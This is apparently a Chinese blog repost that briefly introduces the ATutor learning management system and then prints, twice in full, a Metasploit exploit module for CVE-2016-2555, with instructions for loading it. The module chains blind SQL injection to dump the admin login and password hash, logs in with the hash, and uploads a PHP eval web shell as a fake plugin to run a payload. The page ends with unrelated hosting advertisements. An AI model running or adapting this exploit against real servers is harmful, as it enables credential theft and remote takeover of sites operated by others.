教学内容管理系统ATutor 2.2.1注入漏洞

Atutor是一款开源的“教学内容管理系统”(Learning Content Management System,简称LCMS)。采用PHP、MySQL,HTTP Web 服务器推荐使用Apache。

[[163568]]

Atutor除了教学内容管理的功能,还包括了简化的论坛、聊天室等,另外通过模块安装,还可以扩展功能:

EWiki,ErFurtWiki在Atutor的实现;

ATalker,基于网页的文本朗读工具。

Atutor支持二十多种语言,包括中文,志愿者可以参加翻译等工作。

下面漏洞利用代码基于metasploit平台

使用方法:保存下面的代码,后缀名为.rb,然后放到metasploit脚本目录下,载入即可

以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责。

  1.  
  2. 以下代码具有攻击性,只做技术交流使用,使用在已经授权的网站,如果出现任何违法行为,本站概不负责  
  3.  
  4. Ruby  
  5.  
  6. require 'msf/core' 
  7.    
  8. class Metasploit3 < Msf::Exploit::Remote  
  9.   Rank = ExcellentRanking  
  10.    
  11.   include Msf::Exploit::Remote::HttpClient  
  12.   include Msf::Exploit::FileDropper  
  13.    
  14.   def initialize(info={})  
  15.     super(update_info(info,  
  16.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  17.       'Description'    => %q{  
  18.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  19.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  20.          and reach the administrators interface where they can upload malcious code.  
  21.    
  22.          You are required to login to the target to reach the SQL Injection, however this  
  23.          can be done as a student account and remote registration is enabled by default.  
  24.       },  
  25.       'License'        => MSF_LICENSE,  
  26.       'Author'         =>  
  27.         [  
  28.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  29.         ],  
  30.       'References'     =>  
  31.         [  
  32.           [ 'CVE''2016-2555'  ],  
  33.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  34.         ],  
  35.       'Privileged'     => false,  
  36.       'Payload'        =>  
  37.         {  
  38.           'DisableNops' => true,  
  39.         },  
  40.       'Platform'       => ['php'],  
  41.       'Arch'           => ARCH_PHP,  
  42.       'Targets'        => [[ 'Automatic', { }]],  
  43.       'DisclosureDate' => 'Mar 1 2016',  
  44.       'DefaultTarget'  => 0))  
  45.    
  46.     register_options(  
  47.       [  
  48.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  49.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  50.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  51.       ],self.class)  
  52.   end 
  53.    
  54.   def print_status(msg='')  
  55.     super("#{peer} - #{msg}")  
  56.   end 
  57.    
  58.   def print_error(msg='')  
  59.     super("#{peer} - #{msg}")  
  60.   end 
  61.    
  62.   def print_good(msg='')  
  63.     super("#{peer} - #{msg}")  
  64.   end 
  65.    
  66.   def check 
  67.     # the only way to test if the target is vuln  
  68.     begin 
  69.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  70.     rescue Msf::Exploit::Failed => e  
  71.       vprint_error(e.message)  
  72.       return Exploit::CheckCode::Unknown  
  73.     end 
  74.    
  75.     if test_injection(test_cookie)  
  76.       return Exploit::CheckCode::Vulnerable  
  77.     else 
  78.       return Exploit::CheckCode::Safe  
  79.     end 
  80.   end 
  81.    
  82.   def create_zip_file  
  83.     zip_file      = Rex::Zip::Archive.new  
  84.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  85.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  86.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  87.    
  88.     path = "#{@plugin_name}/#{@payload_name}.php" 
  89.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  90.    
  91.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  92.     zip_file.pack  
  93.   end 
  94.    
  95.   def exec_code  
  96.     send_request_cgi({  
  97.       'method'   => 'GET',  
  98.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  99.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  100.     })  
  101.   end 
  102.    
  103.   def upload_shell(cookie)  
  104.     post_data = Rex::MIME::Message.new  
  105.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  106.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  107.     data = post_data.to_s  
  108.     res = send_request_cgi({  
  109.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  110.       'method' => 'POST',  
  111.       'data' => data,  
  112.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  113.       'cookie' => cookie,  
  114.       'agent' => 'Mozilla' 
  115.     })  
  116.    
  117.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  118.        res = send_request_cgi({  
  119.          'method' => 'GET',  
  120.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  121.          'cookie' => cookie,  
  122.          'agent'  => 'Mozilla',  
  123.        })  
  124.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  125.           res = send_request_cgi({  
  126.             'method' => 'GET',  
  127.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  128.             'cookie' => cookie,  
  129.             'agent'  => 'Mozilla',  
  130.           })  
  131.        return true 
  132.        end 
  133.     end 
  134.    
  135.     # auth failed if we land here, bail  
  136.     fail_with(Failure::Unknown, "Unable to upload php code")  
  137.     return false 
  138.   end 
  139.    
  140.   def get_hashed_password(token, password, bypass)  
  141.     if bypass  
  142.       return Rex::Text.sha1(password + token)  
  143.     else 
  144.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  145.     end 
  146.   end 
  147.    
  148.   def login(username, password, bypass)  
  149.     res = send_request_cgi({  
  150.       'method'   => 'GET',  
  151.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  152.       'agent' => 'Mozilla',  
  153.     })  
  154.    
  155.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  156.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  157.     if bypass  
  158.       password = get_hashed_password(token, passwordtrue)  
  159.     else 
  160.       password = get_hashed_password(token, passwordfalse)  
  161.     end 
  162.    
  163.     res = send_request_cgi({  
  164.       'method'   => 'POST',  
  165.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  166.       'vars_post' => {  
  167.         'form_password_hidden' => password,  
  168.         'form_login' => username,  
  169.         'submit' => 'Login' 
  170.       },  
  171.       'cookie' => cookie,  
  172.       'agent' => 'Mozilla' 
  173.     })  
  174.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  175.    
  176.     # this is what happens when no state is maintained by the http client  
  177.     if res && res.code == 302  
  178.        if res.redirection.to_s.include?('bounce.php?course=0')  
  179.         res = send_request_cgi({  
  180.           'method'   => 'GET',  
  181.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  182.           'cookie' => cookie,  
  183.           'agent' => 'Mozilla' 
  184.         })  
  185.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  186.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  187.            res = send_request_cgi({  
  188.              'method'   => 'GET',  
  189.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  190.              'cookie' => cookie,  
  191.              'agent' => 'Mozilla' 
  192.            })  
  193.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  194.            return cookie  
  195.           end 
  196.        else res.redirection.to_s.include?('admin/index.php')  
  197.           # if we made it here, we are admin  
  198.           return cookie  
  199.        end 
  200.     end 
  201.    
  202.     # auth failed if we land here, bail  
  203.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  204.     return nil  
  205.   end 
  206.    
  207.   def perform_request(sqli, cookie)  
  208.     # the search requires a minimum of 3 chars  
  209.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  210.     rand_key = Rex::Text.rand_text_alpha(1)  
  211.     res = send_request_cgi({  
  212.       'method'   => 'POST',  
  213.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  214.       'vars_post' => {  
  215.         "search_friends_#{rand_key}" => sqli,  
  216.         'rand_key' => rand_key,  
  217.         'search' => 'Search People' 
  218.       },  
  219.       'cookie' => cookie,  
  220.       'agent' => 'Mozilla' 
  221.     })  
  222.     return res.body  
  223.   end 
  224.    
  225.    def dump_the_hash(cookie)  
  226.     extracted_hash = "" 
  227.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  228.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  229.     for i in 1..login_and_hash_length  
  230.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  231.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  232.        if asciival >= 0  
  233.           extracted_hash << asciival.chr  
  234.        end 
  235.     end 
  236.     return extracted_hash.split(":")  
  237.   end 
  238.    
  239.   def get_ascii_value(sql, cookie)  
  240.     lower = 0  
  241.     upper = 126  
  242.     while lower < upper 
  243.        mid = (lower + upper) / 2  
  244.        sqli = "#{sql}>#{mid}" 
  245.        result = perform_request(sqli, cookie)  
  246.        if result =~ /There are \d entries./  
  247.         lower = mid + 1  
  248.        else 
  249.         upper = mid  
  250.        end 
  251.     end 
  252.     if lower > 0 and lower < 126  
  253.        value = lower 
  254.     else 
  255.        sqli = "#{sql}=#{lower}" 
  256.        result = perform_request(sqli, cookie)  
  257.        if result =~ /There are \d entries./  
  258.           value = lower 
  259.        end 
  260.     end 
  261.     return value  
  262.   end 
  263.    
  264.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  265.     if do_test  
  266.       if do_true  
  267.         result = perform_request("1=1", cookie)  
  268.         if result =~ /There are \d entries./  
  269.           return true 
  270.         end 
  271.       else not do_true  
  272.         result = perform_request("1=2", cookie)  
  273.         if not result =~ /There are \d entries./  
  274.           return true 
  275.         end 
  276.       end 
  277.     elsif not do_test and sql  
  278.       return get_ascii_value(sql, cookie)  
  279.     end 
  280.   end 
  281.    
  282.   def test_injection(cookie)  
  283.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  284.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  285.         return true 
  286.        end 
  287.     end 
  288.     return false 
  289.   end 
  290.    
  291.   def report_cred(opts)  
  292.     service_data = {  
  293.       address: rhost,  
  294.       port: rport,  
  295.       service_name: ssl ? 'https' : 'http',  
  296.       protocol: 'tcp',  
  297.       workspace_id: myworkspace_id  
  298.     }  
  299.    
  300.     credential_data = {  
  301.       module_fullname: fullname,  
  302.       post_reference_name: self.refname,  
  303.       private_data: opts[:password],  
  304.       origin_type: :service,  
  305.       private_type: :password,  
  306.       username: opts[:user]  
  307.     }.merge(service_data)  
  308.    
  309.     login_data = {  
  310.       core: create_credential(credential_data),  
  311.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  312.       last_attempted_at: Time.now  
  313.     }.merge(service_data)  
  314.    
  315.     create_credential_login(login_data)  
  316.   end 
  317.    
  318.   def exploit  
  319.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  320.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  321.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  322.    
  323.     print_status("Dumping username and password hash...")  
  324.     # we got admin hash now  
  325.     credz = dump_the_hash(student_cookie)  
  326.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  327.     if credz  
  328.       admin_cookie = login(credz[0], credz[1], true)  
  329.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  330.       # install a plugin  
  331.       if upload_shell(admin_cookie)  
  332.         print_good("Shell upload successful!")  
  333.         # boom  
  334.         exec_code  
  335.       end 
  336.     end 
  337.   end 
  338. end 
  339. require 'msf/core' 
  340.    
  341. class Metasploit3 < Msf::Exploit::Remote  
  342.   Rank = ExcellentRanking  
  343.    
  344.   include Msf::Exploit::Remote::HttpClient  
  345.   include Msf::Exploit::FileDropper  
  346.    
  347.   def initialize(info={})  
  348.     super(update_info(info,  
  349.       'Name'           => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',  
  350.       'Description'    => %q{  
  351.          This module exploits a SQL Injection vulnerability and an authentication weakness  
  352.          vulnerability in ATutor. This essentially means an attacker can bypass authenication  
  353.          and reach the administrators interface where they can upload malcious code.  
  354.    
  355.          You are required to login to the target to reach the SQL Injection, however this  
  356.          can be done as a student account and remote registration is enabled by default.  
  357.       },  
  358.       'License'        => MSF_LICENSE,  
  359.       'Author'         =>  
  360.         [  
  361.           'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
  362.         ],  
  363.       'References'     =>  
  364.         [  
  365.           [ 'CVE''2016-2555'  ],  
  366.           [ 'URL''http://www.atutor.ca/' ] # Official Website  
  367.         ],  
  368.       'Privileged'     => false,  
  369.       'Payload'        =>  
  370.         {  
  371.           'DisableNops' => true,  
  372.         },  
  373.       'Platform'       => ['php'],  
  374.       'Arch'           => ARCH_PHP,  
  375.       'Targets'        => [[ 'Automatic', { }]],  
  376.       'DisclosureDate' => 'Mar 1 2016',  
  377.       'DefaultTarget'  => 0))  
  378.    
  379.     register_options(  
  380.       [  
  381.         OptString.new('TARGETURI', [true'The path of Atutor''/ATutor/']),  
  382.         OptString.new('USERNAME', [true'The username to authenticate as']),  
  383.         OptString.new('PASSWORD', [true'The password to authenticate with'])  
  384.       ],self.class)  
  385.   end 
  386.    
  387.   def print_status(msg='')  
  388.     super("#{peer} - #{msg}")  
  389.   end 
  390.    
  391.   def print_error(msg='')  
  392.     super("#{peer} - #{msg}")  
  393.   end 
  394.    
  395.   def print_good(msg='')  
  396.     super("#{peer} - #{msg}")  
  397.   end 
  398.    
  399.   def check 
  400.     # the only way to test if the target is vuln  
  401.     begin 
  402.       test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  403.     rescue Msf::Exploit::Failed => e  
  404.       vprint_error(e.message)  
  405.       return Exploit::CheckCode::Unknown  
  406.     end 
  407.    
  408.     if test_injection(test_cookie)  
  409.       return Exploit::CheckCode::Vulnerable  
  410.     else 
  411.       return Exploit::CheckCode::Safe  
  412.     end 
  413.   end 
  414.    
  415.   def create_zip_file  
  416.     zip_file      = Rex::Zip::Archive.new  
  417.     @header       = Rex::Text.rand_text_alpha_upper(4)  
  418.     @payload_name = Rex::Text.rand_text_alpha_lower(4)  
  419.     @plugin_name  = Rex::Text.rand_text_alpha_lower(3)  
  420.    
  421.     path = "#{@plugin_name}/#{@payload_name}.php" 
  422.     register_file_for_cleanup("#{@payload_name}.php""../../content/module/#{path}")  
  423.    
  424.     zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
  425.     zip_file.pack  
  426.   end 
  427.    
  428.   def exec_code  
  429.     send_request_cgi({  
  430.       'method'   => 'GET',  
  431.       'uri'      => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),  
  432.       'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" 
  433.     })  
  434.   end 
  435.    
  436.   def upload_shell(cookie)  
  437.     post_data = Rex::MIME::Message.new  
  438.     post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")  
  439.     post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")  
  440.     data = post_data.to_s  
  441.     res = send_request_cgi({  
  442.       'uri' => normalize_uri(target_uri.path, "mods""_core""modules""install_modules.php"),  
  443.       'method' => 'POST',  
  444.       'data' => data,  
  445.       'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
  446.       'cookie' => cookie,  
  447.       'agent' => 'Mozilla' 
  448.     })  
  449.    
  450.     if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")  
  451.        res = send_request_cgi({  
  452.          'method' => 'GET',  
  453.          'uri'    => normalize_uri(target_uri.path, "mods""_core""modules", res.redirection),  
  454.          'cookie' => cookie,  
  455.          'agent'  => 'Mozilla',  
  456.        })  
  457.        if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")  
  458.           res = send_request_cgi({  
  459.             'method' => 'GET',  
  460.             'uri'    => normalize_uri(target_uri.path, "mods""_core""modules""module_install_step_2.php?mod=#{@plugin_name}"),  
  461.             'cookie' => cookie,  
  462.             'agent'  => 'Mozilla',  
  463.           })  
  464.        return true 
  465.        end 
  466.     end 
  467.    
  468.     # auth failed if we land here, bail  
  469.     fail_with(Failure::Unknown, "Unable to upload php code")  
  470.     return false 
  471.   end 
  472.    
  473.   def get_hashed_password(token, password, bypass)  
  474.     if bypass  
  475.       return Rex::Text.sha1(password + token)  
  476.     else 
  477.       return Rex::Text.sha1(Rex::Text.sha1(password) + token)  
  478.     end 
  479.   end 
  480.    
  481.   def login(username, password, bypass)  
  482.     res = send_request_cgi({  
  483.       'method'   => 'GET',  
  484.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  485.       'agent' => 'Mozilla',  
  486.     })  
  487.    
  488.     token = $1 if res.body =~ /\) \+ \"(.*)\"\);/  
  489.     cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/  
  490.     if bypass  
  491.       password = get_hashed_password(token, passwordtrue)  
  492.     else 
  493.       password = get_hashed_password(token, passwordfalse)  
  494.     end 
  495.    
  496.     res = send_request_cgi({  
  497.       'method'   => 'POST',  
  498.       'uri'      => normalize_uri(target_uri.path, "login.php"),  
  499.       'vars_post' => {  
  500.         'form_password_hidden' => password,  
  501.         'form_login' => username,  
  502.         'submit' => 'Login' 
  503.       },  
  504.       'cookie' => cookie,  
  505.       'agent' => 'Mozilla' 
  506.     })  
  507.     cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/  
  508.    
  509.     # this is what happens when no state is maintained by the http client  
  510.     if res && res.code == 302  
  511.        if res.redirection.to_s.include?('bounce.php?course=0')  
  512.         res = send_request_cgi({  
  513.           'method'   => 'GET',  
  514.           'uri'      => normalize_uri(target_uri.path, res.redirection),  
  515.           'cookie' => cookie,  
  516.           'agent' => 'Mozilla' 
  517.         })  
  518.         cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  519.         if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')  
  520.            res = send_request_cgi({  
  521.              'method'   => 'GET',  
  522.              'uri'      => normalize_uri(target_uri.path, res.redirection),  
  523.              'cookie' => cookie,  
  524.              'agent' => 'Mozilla' 
  525.            })  
  526.            cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/  
  527.            return cookie  
  528.           end 
  529.        else res.redirection.to_s.include?('admin/index.php')  
  530.           # if we made it here, we are admin  
  531.           return cookie  
  532.        end 
  533.     end 
  534.    
  535.     # auth failed if we land here, bail  
  536.     fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
  537.     return nil  
  538.   end 
  539.    
  540.   def perform_request(sqli, cookie)  
  541.     # the search requires a minimum of 3 chars  
  542.     sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" 
  543.     rand_key = Rex::Text.rand_text_alpha(1)  
  544.     res = send_request_cgi({  
  545.       'method'   => 'POST',  
  546.       'uri'      => normalize_uri(target_uri.path, "mods""_standard""social""connections.php"),  
  547.       'vars_post' => {  
  548.         "search_friends_#{rand_key}" => sqli,  
  549.         'rand_key' => rand_key,  
  550.         'search' => 'Search People' 
  551.       },  
  552.       'cookie' => cookie,  
  553.       'agent' => 'Mozilla' 
  554.     })  
  555.     return res.body  
  556.   end 
  557.    
  558.    def dump_the_hash(cookie)  
  559.     extracted_hash = "" 
  560.     sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" 
  561.     login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i  
  562.     for i in 1..login_and_hash_length  
  563.        sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" 
  564.        asciival = generate_sql_and_test(falsefalse, sqli, cookie)  
  565.        if asciival >= 0  
  566.           extracted_hash << asciival.chr  
  567.        end 
  568.     end 
  569.     return extracted_hash.split(":")  
  570.   end 
  571.    
  572.   def get_ascii_value(sql, cookie)  
  573.     lower = 0  
  574.     upper = 126  
  575.     while lower < upper 
  576.        mid = (lower + upper) / 2  
  577.        sqli = "#{sql}>#{mid}" 
  578.        result = perform_request(sqli, cookie)  
  579.        if result =~ /There are \d entries./  
  580.         lower = mid + 1  
  581.        else 
  582.         upper = mid  
  583.        end 
  584.     end 
  585.     if lower > 0 and lower < 126  
  586.        value = lower 
  587.     else 
  588.        sqli = "#{sql}=#{lower}" 
  589.        result = perform_request(sqli, cookie)  
  590.        if result =~ /There are \d entries./  
  591.           value = lower 
  592.        end 
  593.     end 
  594.     return value  
  595.   end 
  596.    
  597.   def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)  
  598.     if do_test  
  599.       if do_true  
  600.         result = perform_request("1=1", cookie)  
  601.         if result =~ /There are \d entries./  
  602.           return true 
  603.         end 
  604.       else not do_true  
  605.         result = perform_request("1=2", cookie)  
  606.         if not result =~ /There are \d entries./  
  607.           return true 
  608.         end 
  609.       end 
  610.     elsif not do_test and sql  
  611.       return get_ascii_value(sql, cookie)  
  612.     end 
  613.   end 
  614.    
  615.   def test_injection(cookie)  
  616.     if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)  
  617.        if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)  
  618.         return true 
  619.        end 
  620.     end 
  621.     return false 
  622.   end 
  623.    
  624.   def report_cred(opts)  
  625.     service_data = {  
  626.       address: rhost,  
  627.       port: rport,  
  628.       service_name: ssl ? 'https' : 'http',  
  629.       protocol: 'tcp',  
  630.       workspace_id: myworkspace_id  
  631.     }  
  632.    
  633.     credential_data = {  
  634.       module_fullname: fullname,  
  635.       post_reference_name: self.refname,  
  636.       private_data: opts[:password],  
  637.       origin_type: :service,  
  638.       private_type: :password,  
  639.       username: opts[:user]  
  640.     }.merge(service_data)  
  641.    
  642.     login_data = {  
  643.       core: create_credential(credential_data),  
  644.       status: Metasploit::Model::Login::Status::SUCCESSFUL,  
  645.       last_attempted_at: Time.now  
  646.     }.merge(service_data)  
  647.    
  648.     create_credential_login(login_data)  
  649.   end 
  650.    
  651.   def exploit  
  652.     student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)  
  653.     print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")  
  654.     report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
  655.    
  656.     print_status("Dumping username and password hash...")  
  657.     # we got admin hash now  
  658.     credz = dump_the_hash(student_cookie)  
  659.     print_good("Got the #{credz[0]} hash: #{credz[1]} !")  
  660.     if credz  
  661.       admin_cookie = login(credz[0], credz[1], true)  
  662.       print_status("Logged in as #{credz[0]}, uploading shell...")  
  663.       # install a plugin  
  664.       if upload_shell(admin_cookie)  
  665.         print_good("Shell upload successful!")  
  666.         # boom  
  667.         exec_code  
  668.       end 
  669.     end 
  670.   end 
  671. end 
  672.    
  673.  

 

文章来源网络,作者:管理,如若转载,请注明出处:https://shuyeidc.com/wp/145853.html<

(0)
管理的头像管理
上一篇2025-03-10 19:52
下一篇 2025-03-10 19:53

相关推荐

  • jsp空间购买和交换数据空间怎么买,有哪些注意事项?

    购买JSP空间时,是否考虑过数据交换空间的性能?简米科技(2003年始创,23年行业沉淀)与酷番云(工信部一类增值电信全牌照)这类持牌自营机房的服务商,能确保数据交换的高效稳定,是值得优先选择的合作伙伴,为什么JSP空间需要搭配独立的数据交换空间从JSP应用特性看数据交换需求JSP基于Java技术,常用于企业级……

    2026-08-11
    0
  • 建网站用香港空间效果怎么样,香港空间稳定吗?

    建网站用香港空间,对于创建网站资产来说,核心价值在于免备案和全球带宽优势,尤其适合外贸、跨境电商和需要快速启动的项目,但你必须权衡国内访问延迟,并选择有资质的服务商以保证资产安全,香港空间的核心优势与适用边界免备案:节省时间就是节省成本国内服务器需要备案,通常需要10到20天,香港空间无需备案,域名解析后即可上……

    2026-08-11
    0
  • Java连接云数据库的方法是什么,如何操作

    Java连接云数据库的核心在于通过JDBC驱动,结合云服务商提供的连接地址、端口、数据库名及认证信息,配置安全策略(如SSL、IP白名单),即可实现稳定高效的远程数据库访问,基础准备:JDBC驱动与依赖管理连接云数据库前,需要确保开发环境具备对应的JDBC驱动,以最常见的MySQL为例,你需要引入mysql-c……

    2026-08-11
    0
  • 建网站公安联网备案必须使用数据码吗,备案流程是什么

    网站备案包括ICP备案和公安联网备案,两者缺一不可,公安联网备案必须使用服务商提供的数据码,选择持有合法资质的服务商是顺利通过备案的前提,为什么网站必须进行公安联网备案根据公安部《计算机信息网络国际联网安全保护管理办法》,网站开通后30日内必须到公安机关办理备案手续,未完成公安备案的网站,面临责令整改、关闭网站……

    2026-08-10
    0
  • 建一个企业网站大概需要多少钱?,怎么收费?

    建网站要多少钱,没有一个固定的数字,几百到几万都可能,但真正的“创建网站资产”绝不仅仅是初次投入的成本,而是基于长期稳定、合规和安全的持续性投入,其中核心取决于你选择了什么样的“地基”来承载你的业务,建站预算的构成与行业基准当你开始规划一个网站,最先面对的就是预算问题,一个常见的误区是只关注网站“看起来”的建造……

    2026-08-10
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注